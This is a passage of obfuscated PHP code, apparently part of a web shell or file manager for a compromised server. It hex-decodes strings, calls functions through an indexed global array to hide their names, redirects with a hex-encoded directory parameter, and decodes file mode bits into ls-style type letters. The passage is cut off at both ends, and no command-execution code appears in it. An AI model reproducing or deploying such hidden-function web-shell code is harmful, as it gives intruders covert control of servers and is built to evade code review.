for ($i=0; $i < strlen($y)-1; $i+=2){
            $n .= chr(hexdec($y[$i].$y[$i+1]));
        }
        return $n;
    }
    function OK() {
        global $GNJ, $d;
        $GNJ[38]($GNJ[9]);
        header("Location: ?d=".hex($d)."&1");
        exit();
    }
    function ER() {
        global $GNJ, $d;
        $GNJ[38]($GNJ[9]);
        header("Location: ?d=".hex($d)."&0");
        exit();
    }
    function x($c) {
        global $GNJ;
        $x = $GNJ[24]($c);
        if(($x & 0xC000) == 0xC000) {
            $u = "s";
        }
        elseif(($x & 0xA000) == 0xA000) {
            $u = "l";
        }
        elseif(($x & 0x8000) == 0x8000) {
            $u = "-";
        }
        elseif(($x & 0x6000) == 0x6000) {
            $u = "b";
        }
        elseif(($x & 0x4000) == 0x4000) {
            $u = "d";
        }
        elseif(($x & 0x2000) == 0x2000) {
            $u = "c";
        }
        elseif(($x & 0x1000) == 0x1000) {
            $u = "p";